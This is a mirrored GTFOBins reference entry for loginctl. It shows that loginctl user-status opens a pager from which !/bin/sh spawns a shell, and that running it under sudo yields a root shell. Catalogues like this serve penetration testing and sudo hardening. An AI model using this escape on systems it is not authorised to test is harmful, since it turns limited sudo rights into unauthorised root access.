1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/loginctl.md

16 lines
377 B
Markdown
Raw Normal View History

2021-06-18 14:21:03 +02:00
---
description: |
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
This might not work if run by unprivileged users depending on the system configuration.
functions:
shell:
- code: |
loginctl user-status
!/bin/sh
sudo:
- code: |
sudo loginctl user-status
!/bin/sh
---